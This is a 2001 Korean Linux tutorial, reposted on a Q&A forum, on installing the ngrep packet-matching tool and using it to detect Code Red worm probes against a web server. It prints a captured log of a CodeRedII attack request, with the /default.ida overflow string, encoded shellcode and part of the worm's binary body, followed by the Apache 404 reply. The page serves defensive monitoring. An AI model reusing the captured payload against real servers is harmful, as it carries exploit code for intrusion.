질문&답변
클라우드/리눅스에 관한 질문과 답변을 주고 받는 곳입니다.
리눅스 분류

ngrep

작성자 정보

  • 관리자 작성
  • 작성일

컨텐츠 정보

본문

ngrep

t.gif
t.gif
작성일: 2001-09-17
작성자: 강명규
OS: Linux 2.4.4 (intel)

ngrep은 유닉스 grep과 유사하다. 단지 사용하는 곳이 network을 소스를 삼는다는 것이 다른 점이다.
ngrep.sourceforge.net 사이트에서 ngrep을 받아온다.
현재(2001-09-17) 최신 버전은 1.40이다.

http://prdownloads.sourceforge.net/ngrep/ngrep-1.40.tar.gz


ngrep은 libpcap라이브러리를 필요로 하므로, 자신의 서버에 설치되지 않았다면
ftp://ftp.ee.lbl.gov/libpcap.tar.Z에서 받아 설치한다.

[kang@ns /down]$ tar xvzf ngrep-1.40.tar.gz -C /usr/local/src
[root@ns /down]# cd /usr/local/src/ngrep
[root@ns ngrep]# ./configure; make; make install


사용하기
요즘 유행하는 Code Red웜의 파악은 다음과 같이 할 수 있다.

ngrep -qt ".ida" tcp port 80

다음은 실제 접속했을때의 로그를 표시한 것이다.
윈도서버로 운영할 경우 필히 코드레드 패치를 해야겠다.
http://www.microsoft.com/korea/technet/security/bulletin/MS01-033.asp
유닉스계열의 경우 별다른 조치가 필요없다. 즉, 공격대상이 아니다.

[root@ns /root]# ngrep -qt "default.ida" tcp port 80

T 2001/09/17 01:26:31.307148 211.41.29.231:15916 -> 211.41.23.236:80 [A]
  GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u909
  0%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0..C
  ontent-type: text/xml.Content-length: 3379 ........`........dg.6..dg.&.......h.........P.U......
  P.U..@.....X....U.=.......=..............T....u..~0...........F0.........CodeRedII...$.U.f.....8..
  ...P.......j...P...P..8...P.E..p.........8....thS.U..U..E.i.T...,.....,..............F4.E.Pj..u...
  ........j.j..U.P.U.Ou..;...i.T....&....&.W.U.j.j..U.j..U....F4)E.jd.U...<...P.U....<...=....s...
  .>......s.f..p.....f..r....P.d.....t...j.j.j..U....t..E.j.Th~f...u..U.Yj...p...P.u..U........tK3..
  U.=3'..u?..h.........l.........`........E...d.....h...Pj...`...Pj.j..U..j.Th~f...u..U.Y...u1.....X
  -....j.h....P.u..U.=....u.j.j......P.u..U..u..U..........w...........xu......`......d$.dg....Xa..
  dg.6..dg.&..f.;MZu..K<.<.PE..u..T.x...B..<.KERNu..|..EL32u.3.I.r ...A..<.GetPu..|..rocAu..J.I...J$
  ........J.......D$$dg....Xa..Q....]..E......LoadLibraryA..u..U..E......CreateThread..u..U..E......
  GetTickCount..u..U..E......Sleep..u..U..E......GetSystemDefaultLangID..u..U..E......GetSystemDirec
  toryA..u..U..E......CopyFileA..u..U..E......GlobalFindAtomA..u..U..E......GlobalAddAtomA          

T 2001/09/17 01:26:31.991328 211.41.23.236:80 -> 211.41.29.231:15916 [AP]
  HTTP/1.1 404 Not Found..Date: Sun, 16 Sep 2001 16:26:31 GMT..Server: Apache..Connection: close..Co
  ntent-Type: text/html; charset=iso-8859-1....<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<H
  TML><HEAD>.<TITLE>404 Not Found</TITLE>.</HEAD><BODY>.<H1>Not Found</H1>.The requested URL /defaul
  t.ida was not found on this server.<P>.<HR>.<ADDRESS>Apache/1.3.20 Server at www.dbakorea.pe.kr Po
  rt 80</ADDRESS>.</BODY></HTML>.                                                                  


유용한 사용법은 차후 추가하겠다.

This article comes from dbakorea.pe.kr (Leave this line as is)

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,035 명
  • 현재 강좌수 :  35,791 개
  • 현재 접속자 :  84 명